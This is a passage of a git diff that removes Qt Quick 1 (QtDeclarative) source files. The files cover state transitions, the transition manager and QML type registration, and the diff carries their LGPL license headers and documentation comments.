0) : QParallelAnimationGroup(parent) {} - QDeclarative1TransitionPrivate *trans; -protected: - virtual void updateState(QAbstractAnimation::State newState, QAbstractAnimation::State oldState); -}; - -class QDeclarative1TransitionPrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1Transition) -public: - QDeclarative1TransitionPrivate() - : fromState(QLatin1String("*")), toState(QLatin1String("*")), - reversed(false), reversible(false), endState(0) - { - group.trans = this; - } - - QString fromState; - QString toState; - bool reversed; - bool reversible; - ParallelAnimationWrapper_1 group; - QDeclarative1TransitionManager *endState; - - void complete() - { - endState->complete(); - } - static void append_animation(QDeclarativeListProperty *list, QDeclarative1AbstractAnimation *a); - static int animation_count(QDeclarativeListProperty *list); - static QDeclarative1AbstractAnimation* animation_at(QDeclarativeListProperty *list, int pos); - static void clear_animations(QDeclarativeListProperty *list); - QList animations; -}; - -void QDeclarative1TransitionPrivate::append_animation(QDeclarativeListProperty *list, QDeclarative1AbstractAnimation *a) -{ - QDeclarative1Transition *q = static_cast(list->object); - q->d_func()->animations.append(a); - q->d_func()->group.addAnimation(a->qtAnimation()); - a->setDisableUserControl(); -} - -int QDeclarative1TransitionPrivate::animation_count(QDeclarativeListProperty *list) -{ - QDeclarative1Transition *q = static_cast(list->object); - return q->d_func()->animations.count(); -} - -QDeclarative1AbstractAnimation* QDeclarative1TransitionPrivate::animation_at(QDeclarativeListProperty *list, int pos) -{ - QDeclarative1Transition *q = static_cast(list->object); - return q->d_func()->animations.at(pos); -} - -void QDeclarative1TransitionPrivate::clear_animations(QDeclarativeListProperty *list) -{ - QDeclarative1Transition *q = static_cast(list->object); - while (q->d_func()->animations.count()) { - QDeclarative1AbstractAnimation *firstAnim = q->d_func()->animations.at(0); - q->d_func()->group.removeAnimation(firstAnim->qtAnimation()); - q->d_func()->animations.removeAll(firstAnim); - } -} - -void ParallelAnimationWrapper_1::updateState(QAbstractAnimation::State newState, QAbstractAnimation::State oldState) -{ - QParallelAnimationGroup::updateState(newState, oldState); - if (newState == Stopped && (duration() == -1 - || (direction() == QAbstractAnimation::Forward && currentLoopTime() == duration()) - || (direction() == QAbstractAnimation::Backward && currentLoopTime() == 0))) - { - trans->complete(); - } -} - - - -QDeclarative1Transition::QDeclarative1Transition(QObject *parent) - : QObject(*(new QDeclarative1TransitionPrivate), parent) -{ -} - -QDeclarative1Transition::~QDeclarative1Transition() -{ -} - -void QDeclarative1Transition::stop() -{ - Q_D(QDeclarative1Transition); - d->group.stop(); -} - -void QDeclarative1Transition::setReversed(bool r) -{ - Q_D(QDeclarative1Transition); - d->reversed = r; -} - -void QDeclarative1Transition::prepare(QDeclarative1StateOperation::ActionList &actions, - QList &after, - QDeclarative1TransitionManager *endState) -{ - Q_D(QDeclarative1Transition); - - qmlExecuteDeferred(this); - - if (d->reversed) { - for (int ii = d->animations.count() - 1; ii >= 0; --ii) { - d->animations.at(ii)->transition(actions, after, QDeclarative1AbstractAnimation::Backward); - } - } else { - for (int ii = 0; ii < d->animations.count(); ++ii) { - d->animations.at(ii)->transition(actions, after, QDeclarative1AbstractAnimation::Forward); - } - } - - d->endState = endState; - d->group.setDirection(d->reversed ? QAbstractAnimation::Backward : QAbstractAnimation::Forward); - d->group.start(); -} - -/*! - \qmlproperty string QtQuick1::Transition::from - \qmlproperty string QtQuick1::Transition::to - - These properties indicate the state changes that trigger the transition. - - The default values for these properties is "*" (that is, any state). - - For example, the following transition has not set the \c to and \c from - properties, so the animation is always applied when changing between - the two states (i.e. when the mouse is pressed and released). - - \snippet doc/src/snippets/qtquick1/transition-from-to.qml 0 - - If the transition was changed to this: - - \snippet doc/src/snippets/qtquick1/transition-from-to-modified.qml modified transition - - The animation would only be applied when changing from the default state to - the "brighter" state (i.e. when the mouse is pressed, but not on release). - - Multiple \c to and \from values can be set by using a comma-separated string. - - \sa reversible -*/ -QString QDeclarative1Transition::fromState() const -{ - Q_D(const QDeclarative1Transition); - return d->fromState; -} - -void QDeclarative1Transition::setFromState(const QString &f) -{ - Q_D(QDeclarative1Transition); - if (f == d->fromState) - return; - - d->fromState = f; - emit fromChanged(); -} - -/*! - \qmlproperty bool QtQuick1::Transition::reversible - This property holds whether the transition should be automatically reversed when the conditions that triggered this transition are reversed. - - The default value is false. - - By default, transitions run in parallel and are applied to all state - changes if the \l from and \l to states have not been set. In this - situation, the transition is automatically applied when a state change - is reversed, and it is not necessary to set this property to reverse - the transition. - - However, if a SequentialAnimation is used, or if the \l from or \l to - properties have been set, this property will need to be set to reverse - a transition when a state change is reverted. For example, the following - transition applies a sequential animation when the mouse is pressed, - and reverses the sequence of the animation when the mouse is released: - - \snippet doc/src/snippets/qtquick1/transition-reversible.qml 0 - - If the transition did not set the \c to and \c reversible values, then - on the mouse release, the transition would play the PropertyAnimation - before the ColorAnimation instead of reversing the sequence. -*/ -bool QDeclarative1Transition::reversible() const -{ - Q_D(const QDeclarative1Transition); - return d->reversible; -} - -void QDeclarative1Transition::setReversible(bool r) -{ - Q_D(QDeclarative1Transition); - if (r == d->reversible) - return; - - d->reversible = r; - emit reversibleChanged(); -} - -QString QDeclarative1Transition::toState() const -{ - Q_D(const QDeclarative1Transition); - return d->toState; -} - -void QDeclarative1Transition::setToState(const QString &t) -{ - Q_D(QDeclarative1Transition); - if (t == d->toState) - return; - - d->toState = t; - emit toChanged(); -} - -/*! - \qmlproperty list QtQuick1::Transition::animations - \default - - This property holds a list of the animations to be run for this transition. - - \snippet examples/declarative/toys/dynamicscene/dynamicscene.qml top-level transitions - - The top-level animations are run in parallel. To run them sequentially, - define them within a SequentialAnimation: - - \snippet doc/src/snippets/qtquick1/transition-reversible.qml sequential animations -*/ -QDeclarativeListProperty QDeclarative1Transition::animations() -{ - Q_D(QDeclarative1Transition); - return QDeclarativeListProperty(this, &d->animations, QDeclarative1TransitionPrivate::append_animation, - QDeclarative1TransitionPrivate::animation_count, - QDeclarative1TransitionPrivate::animation_at, - QDeclarative1TransitionPrivate::clear_animations); -} - - - -QT_END_NAMESPACE - -#include diff --git a/src/qtquick1/util/qdeclarativetransition_p.h b/src/qtquick1/util/qdeclarativetransition_p.h deleted file mode 100644 index c87aa70071..0000000000 --- a/src/qtquick1/util/qdeclarativetransition_p.h +++ /dev/null @@ -1,105 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVETRANSITION_H -#define QDECLARATIVETRANSITION_H - -#include "QtQuick1/private/qdeclarativestate_p.h" - -#include - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1AbstractAnimation; -class QDeclarative1TransitionPrivate; -class QDeclarative1TransitionManager; -class Q_QTQUICK1_EXPORT QDeclarative1Transition : public QObject -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1Transition) - - Q_PROPERTY(QString from READ fromState WRITE setFromState NOTIFY fromChanged) - Q_PROPERTY(QString to READ toState WRITE setToState NOTIFY toChanged) - Q_PROPERTY(bool reversible READ reversible WRITE setReversible NOTIFY reversibleChanged) - Q_PROPERTY(QDeclarativeListProperty animations READ animations) - Q_CLASSINFO("DefaultProperty", "animations") - Q_CLASSINFO("DeferredPropertyNames", "animations") - -public: - QDeclarative1Transition(QObject *parent=0); - ~QDeclarative1Transition(); - - QString fromState() const; - void setFromState(const QString &); - - QString toState() const; - void setToState(const QString &); - - bool reversible() const; - void setReversible(bool); - - QDeclarativeListProperty animations(); - - void prepare(QDeclarative1StateOperation::ActionList &actions, - QList &after, - QDeclarative1TransitionManager *end); - - void setReversed(bool r); - void stop(); - -Q_SIGNALS: - void fromChanged(); - void toChanged(); - void reversibleChanged(); -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Transition) - -QT_END_HEADER - -#endif // QDECLARATIVETRANSITION_H diff --git a/src/qtquick1/util/qdeclarativetransitionmanager.cpp b/src/qtquick1/util/qdeclarativetransitionmanager.cpp deleted file mode 100644 index 8487909c86..0000000000 --- a/src/qtquick1/util/qdeclarativetransitionmanager.cpp +++ /dev/null @@ -1,280 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativetransitionmanager_p_p.h" - -#include "QtQuick1/private/qdeclarativestate_p_p.h" -#include "QtQuick1/private/qdeclarativestate_p.h" - -#include -#include -#include - -QT_BEGIN_NAMESPACE - - - -DEFINE_BOOL_CONFIG_OPTION(stateChangeDebug, STATECHANGE_DEBUG); - -class QDeclarative1TransitionManagerPrivate -{ -public: - QDeclarative1TransitionManagerPrivate() - : state(0) {} - - void applyBindings(); - typedef QList SimpleActionList; - QDeclarative1State *state; - QDeclarativeGuard transition; - QDeclarative1StateOperation::ActionList bindingsList; - SimpleActionList completeList; -}; - -QDeclarative1TransitionManager::QDeclarative1TransitionManager() -: d(new QDeclarative1TransitionManagerPrivate) -{ -} - -void QDeclarative1TransitionManager::setState(QDeclarative1State *s) -{ - d->state = s; -} - -QDeclarative1TransitionManager::~QDeclarative1TransitionManager() -{ - delete d; d = 0; -} - -void QDeclarative1TransitionManager::complete() -{ - d->applyBindings(); - - for (int ii = 0; ii < d->completeList.count(); ++ii) { - const QDeclarativeProperty &prop = d->completeList.at(ii).property(); - prop.write(d->completeList.at(ii).value()); - } - - d->completeList.clear(); - - if (d->state) - static_cast(QObjectPrivate::get(d->state))->complete(); -} - -void QDeclarative1TransitionManagerPrivate::applyBindings() -{ - foreach(const QDeclarative1Action &action, bindingsList) { - if (!action.toBinding.isNull()) { - QDeclarativePropertyPrivate::setBinding(action.property, action.toBinding.data()); - } else if (action.event) { - if (action.reverseEvent) - action.event->reverse(); - else - action.event->execute(); - } - - } - - bindingsList.clear(); -} - -void QDeclarative1TransitionManager::transition(const QList &list, - QDeclarative1Transition *transition) -{ - cancel(); - - QDeclarative1StateOperation::ActionList applyList = list; - // Determine which actions are binding changes. - foreach(const QDeclarative1Action &action, applyList) { - if (action.toBinding) - d->bindingsList << action; - if (action.fromBinding) - QDeclarativePropertyPrivate::setBinding(action.property, 0); // Disable current binding - if (action.event && action.event->changesBindings()) { //### assume isReversable()? - d->bindingsList << action; - action.event->clearBindings(); - } - } - - // Animated transitions need both the start and the end value for - // each property change. In the presence of bindings, the end values - // are non-trivial to calculate. As a "best effort" attempt, we first - // apply all the property and binding changes, then read all the actual - // final values, then roll back the changes and proceed as normal. - // - // This doesn't catch everything, and it might be a little fragile in - // some cases - but whatcha going to do? - - if (!d->bindingsList.isEmpty()) { - - // Apply all the property and binding changes - for (int ii = 0; ii < applyList.size(); ++ii) { - const QDeclarative1Action &action = applyList.at(ii); - if (!action.toBinding.isNull()) { - QDeclarativePropertyPrivate::setBinding(action.property, action.toBinding.data(), QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding); - } else if (!action.event) { - QDeclarativePropertyPrivate::write(action.property, action.toValue, QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding); - } else if (action.event->isReversable()) { - if (action.reverseEvent) - action.event->reverse(QDeclarative1ActionEvent::FastForward); - else - action.event->execute(QDeclarative1ActionEvent::FastForward); - } - } - - // Read all the end values for binding changes - for (int ii = 0; ii < applyList.size(); ++ii) { - QDeclarative1Action *action = &applyList[ii]; - if (action->event) { - action->event->saveTargetValues(); - continue; - } - const QDeclarativeProperty &prop = action->property; - if (!action->toBinding.isNull() || !action->toValue.isValid()) { - action->toValue = prop.read(); - } - } - - // Revert back to the original values - foreach(const QDeclarative1Action &action, applyList) { - if (action.event) { - if (action.event->isReversable()) { - action.event->clearBindings(); - action.event->rewind(); - action.event->clearBindings(); //### shouldn't be needed - } - continue; - } - - if (action.toBinding) - QDeclarativePropertyPrivate::setBinding(action.property, 0); // Make sure this is disabled during the transition - - QDeclarativePropertyPrivate::write(action.property, action.fromValue, QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding); - } - } - - if (transition) { - QList touched; - d->transition = transition; - d->transition->prepare(applyList, touched, this); - - // Modify the action list to remove actions handled in the transition - for (int ii = 0; ii < applyList.count(); ++ii) { - const QDeclarative1Action &action = applyList.at(ii); - - if (action.event) { - - if (action.actionDone) { - applyList.removeAt(ii); - --ii; - } - - } else { - - if (touched.contains(action.property)) { - if (action.toValue != action.fromValue) - d->completeList << - QDeclarative1SimpleAction(action, QDeclarative1SimpleAction::EndState); - - applyList.removeAt(ii); - --ii; - } - - } - } - } - - // Any actions remaining have not been handled by the transition and should - // be applied immediately. We skip applying bindings, as they are all - // applied at the end in applyBindings() to avoid any nastiness mid - // transition - foreach(const QDeclarative1Action &action, applyList) { - if (action.event && !action.event->changesBindings()) { - if (action.event->isReversable() && action.reverseEvent) - action.event->reverse(); - else - action.event->execute(); - } else if (!action.event && !action.toBinding) { - action.property.write(action.toValue); - } - } -#ifndef QT_NO_DEBUG_STREAM - if (stateChangeDebug()) { - foreach(const QDeclarative1Action &action, applyList) { - if (action.event) - qWarning() << " No transition for event:" << action.event->typeName(); - else - qWarning() << " No transition for:" << action.property.object() - << action.property.name() << "From:" << action.fromValue - << "To:" << action.toValue; - } - } -#endif - if (!transition) - d->applyBindings(); -} - -void QDeclarative1TransitionManager::cancel() -{ - if (d->transition) { - // ### this could potentially trigger a complete in rare circumstances - d->transition->stop(); - d->transition = 0; - } - - for(int i = 0; i < d->bindingsList.count(); ++i) { - QDeclarative1Action action = d->bindingsList[i]; - if (!action.toBinding.isNull() && action.deletableToBinding) { - QDeclarativePropertyPrivate::setBinding(action.property, 0); - action.toBinding.data()->destroy(); - action.toBinding.clear(); - action.deletableToBinding = false; - } else if (action.event) { - //### what do we do here? - } - - } - d->bindingsList.clear(); - d->completeList.clear(); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativetransitionmanager_p_p.h b/src/qtquick1/util/qdeclarativetransitionmanager_p_p.h deleted file mode 100644 index 948627b7e9..0000000000 --- a/src/qtquick1/util/qdeclarativetransitionmanager_p_p.h +++ /dev/null @@ -1,85 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVETRANSITIONMANAGER_P_H -#define QDECLARATIVETRANSITIONMANAGER_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "QtQuick1/private/qdeclarativestateoperations_p.h" - -QT_BEGIN_NAMESPACE - -class QDeclarative1StatePrivate; -class QDeclarative1TransitionManagerPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1TransitionManager -{ -public: - QDeclarative1TransitionManager(); - ~QDeclarative1TransitionManager(); - - void transition(const QList &, QDeclarative1Transition *transition); - - void cancel(); - -private: - Q_DISABLE_COPY(QDeclarative1TransitionManager) - QDeclarative1TransitionManagerPrivate *d; - - void complete(); - void setState(QDeclarative1State *); - - friend class QDeclarative1State; - friend class QDeclarative1TransitionPrivate; -}; - -QT_END_NAMESPACE - -#endif // QDECLARATIVETRANSITIONMANAGER_P_H diff --git a/src/qtquick1/util/qdeclarativeutilmodule.cpp b/src/qtquick1/util/qdeclarativeutilmodule.cpp deleted file mode 100644 index 895b727f50..0000000000 --- a/src/qtquick1/util/qdeclarativeutilmodule.cpp +++ /dev/null @@ -1,178 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeutilmodule_p.h" -#include "QtQuick1/private/qdeclarativeanimation_p.h" -#include "QtQuick1/private/qdeclarativeanimation_p_p.h" -#include "QtQuick1/private/qdeclarativebehavior_p.h" -#include "QtQuick1/private/qdeclarativebind_p.h" -#include "QtQuick1/private/qdeclarativeconnections_p.h" -#include "QtQuick1/private/qdeclarativesmoothedanimation_p.h" -#include "QtQuick1/private/qdeclarativefontloader_p.h" -#include "QtQuick1/private/qdeclarativelistaccessor_p.h" -//#include "QtQuick1/private/qdeclarativelistmodel_p.h" -#include "QtQuick1/private/qdeclarativeopenmetaobject_p.h" -#include "QtQuick1/private/qdeclarativepackage_p.h" -#include "QtQuick1/private/qdeclarativepixmapcache_p.h" -#include "QtQuick1/private/qdeclarativepropertychanges_p.h" -#include "QtQuick1/private/qdeclarativespringanimation_p.h" -#include "QtQuick1/private/qdeclarativestategroup_p.h" -#include "QtQuick1/private/qdeclarativestateoperations_p.h" -#include "QtQuick1/private/qdeclarativestate_p.h" -#include "QtQuick1/private/qdeclarativestate_p_p.h" -#include "QtQuick1/private/qdeclarativestyledtext_p.h" -#include "QtQuick1/private/qdeclarativesystempalette_p.h" -#include "QtQuick1/private/qdeclarativetimeline_p_p.h" -#include "QtQuick1/private/qdeclarativetimer_p.h" -#include "QtQuick1/private/qdeclarativetransitionmanager_p_p.h" -#include "QtQuick1/private/qdeclarativetransition_p.h" -#include "QtQuick1/private/qdeclarativeapplication_p.h" -#include "QtQuick1/qdeclarativeview.h" -#include -#include -#ifndef QT_NO_XMLPATTERNS -#include "QtQuick1/private/qdeclarativexmllistmodel_p.h" -#endif - -QT_BEGIN_NAMESPACE - -void QDeclarative1UtilModule::defineModule(QDeclarativeQtQuick1Module::Module module) -{ - qmlRegisterType(); - qmlRegisterType(); - qmlRegisterType(); - - if (module == QDeclarativeQtQuick1Module::QtQuick1) { - qmlRegisterUncreatableType("QtQuick",1,1,"Application", QDeclarative1Application::tr("Application is an abstract class")); - - qmlRegisterType("QtQuick",1,0,"AnchorAnimation"); - qmlRegisterType("QtQuick",1,0,"AnchorChanges"); - qmlRegisterType("QtQuick",1,0,"Behavior"); - qmlRegisterType("QtQuick",1,0,"Binding"); - qmlRegisterType("QtQuick",1,0,"ColorAnimation"); - qmlRegisterType("QtQuick",1,0,"Connections"); - qmlRegisterType("QtQuick",1,0,"SmoothedAnimation"); - qmlRegisterType("QtQuick",1,0,"FontLoader"); - // qmlRegisterType("QtQuick",1,0,"ListElement"); - qmlRegisterType("QtQuick",1,0,"NumberAnimation"); - qmlRegisterType("QtQuick",1,0,"Package"); - qmlRegisterType("QtQuick",1,0,"ParallelAnimation"); - qmlRegisterType("QtQuick",1,0,"ParentAnimation"); - qmlRegisterType("QtQuick",1,0,"ParentChange"); - qmlRegisterType("QtQuick",1,0,"PauseAnimation"); - qmlRegisterType("QtQuick",1,0,"PropertyAction"); - qmlRegisterType("QtQuick",1,0,"PropertyAnimation"); - qmlRegisterType("QtQuick",1,0,"RotationAnimation"); - qmlRegisterType("QtQuick",1,0,"ScriptAction"); - qmlRegisterType("QtQuick",1,0,"SequentialAnimation"); - qmlRegisterType("QtQuick",1,0,"SpringAnimation"); - qmlRegisterType("QtQuick",1,0,"StateChangeScript"); - qmlRegisterType("QtQuick",1,0,"StateGroup"); - qmlRegisterType("QtQuick",1,0,"State"); - qmlRegisterType("QtQuick",1,0,"SystemPalette"); - qmlRegisterType("QtQuick",1,0,"Timer"); - qmlRegisterType("QtQuick",1,0,"Transition"); - qmlRegisterType("QtQuick",1,0,"Vector3dAnimation"); -#ifdef QT_NO_XMLPATTERNS - qmlRegisterTypeNotAvailable("QtQuick",1,0,"XmlListModel", - qApp->translate("QDeclarative1XmlListModel","Qt was built without support for xmlpatterns")); - qmlRegisterTypeNotAvailable("QtQuick",1,0,"XmlRole", - qApp->translate("QDeclarative1XmlListModel","Qt was built without support for xmlpatterns")); -#else - qmlRegisterType("QtQuick",1,0,"XmlListModel"); - qmlRegisterType("QtQuick",1,0,"XmlRole"); -#endif - - - qmlRegisterUncreatableType("QtQuick",1,0,"Animation",QDeclarative1AbstractAnimation::tr("Animation is an abstract class")); - - // qmlRegisterCustomType("QtQuick",1,0,"ListModel", new QDeclarative1ListModelParser); - qmlRegisterCustomType("QtQuick",1,0,"PropertyChanges", new QDeclarative1PropertyChangesParser); - qmlRegisterCustomType("QtQuick",1,0,"Connections", new QDeclarative1ConnectionsParser); - } else if (module == QDeclarativeQtQuick1Module::Qt47) { - qmlRegisterType("Qt",4,7,"AnchorAnimation"); - qmlRegisterType("Qt",4,7,"AnchorChanges"); - qmlRegisterType("Qt",4,7,"Behavior"); - qmlRegisterType("Qt",4,7,"Binding"); - qmlRegisterType("Qt",4,7,"ColorAnimation"); - qmlRegisterType("Qt",4,7,"Connections"); - qmlRegisterType("Qt",4,7,"SmoothedAnimation"); - qmlRegisterType("Qt",4,7,"FontLoader"); - // qmlRegisterType("Qt",4,7,"ListElement"); - qmlRegisterType("Qt",4,7,"NumberAnimation"); - qmlRegisterType("Qt",4,7,"Package"); - qmlRegisterType("Qt",4,7,"ParallelAnimation"); - qmlRegisterType("Qt",4,7,"ParentAnimation"); - qmlRegisterType("Qt",4,7,"ParentChange"); - qmlRegisterType("Qt",4,7,"PauseAnimation"); - qmlRegisterType("Qt",4,7,"PropertyAction"); - qmlRegisterType("Qt",4,7,"PropertyAnimation"); - qmlRegisterType("Qt",4,7,"RotationAnimation"); - qmlRegisterType("Qt",4,7,"ScriptAction"); - qmlRegisterType("Qt",4,7,"SequentialAnimation"); - qmlRegisterType("Qt",4,7,"SpringAnimation"); - qmlRegisterType("Qt",4,7,"StateChangeScript"); - qmlRegisterType("Qt",4,7,"StateGroup"); - qmlRegisterType("Qt",4,7,"State"); - qmlRegisterType("Qt",4,7,"SystemPalette"); - qmlRegisterType("Qt",4,7,"Timer"); - qmlRegisterType("Qt",4,7,"Transition"); - qmlRegisterType("Qt",4,7,"Vector3dAnimation"); -#ifdef QT_NO_XMLPATTERNS - qmlRegisterTypeNotAvailable("Qt",4,7,"XmlListModel", - qApp->translate("QDeclarative1XmlListModel","Qt was built without support for xmlpatterns")); - qmlRegisterTypeNotAvailable("Qt",4,7,"XmlRole", - qApp->translate("QDeclarative1XmlListModel","Qt was built without support for xmlpatterns")); -#else - qmlRegisterType("Qt",4,7,"XmlListModel"); - qmlRegisterType("Qt",4,7,"XmlRole"); -#endif - - qmlRegisterUncreatableType("Qt",4,7,"Animation",QDeclarative1AbstractAnimation::tr("Animation is an abstract class")); - - // qmlRegisterCustomType("Qt", 4,7, "ListModel", new QDeclarative1ListModelParser); - qmlRegisterCustomType("Qt", 4, 7, "PropertyChanges", new QDeclarative1PropertyChangesParser); - qmlRegisterCustomType("Qt", 4, 7, "Connections", new QDeclarative1ConnectionsParser); - } -} - -QT_END_NAMESPACE - diff --git a/src/qtquick1/util/qdeclarativeutilmodule_p.h b/src/qtquick1/util/qdeclarativeutilmodule_p.h deleted file mode 100644 index ae98c6bcea..0000000000 --- a/src/qtquick1/util/qdeclarativeutilmodule_p.h +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEUTILMODULE_H -#define QDECLARATIVEUTILMODULE_H - -#include -#include "../qtquick1_p.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1UtilModule -{ -public: - static void defineModule(QDeclarativeQtQuick1Module::Module module); -}; - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QDECLARATIVEUTILMODULE_H diff --git a/src/qtquick1/util/qdeclarativeview.cpp b/src/qtquick1/util/qdeclarativeview.cpp deleted file mode 100644 index 0c8637d642..0000000000 --- a/src/qtquick1/util/qdeclarativeview.cpp +++ /dev/null @@ -1,752 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** 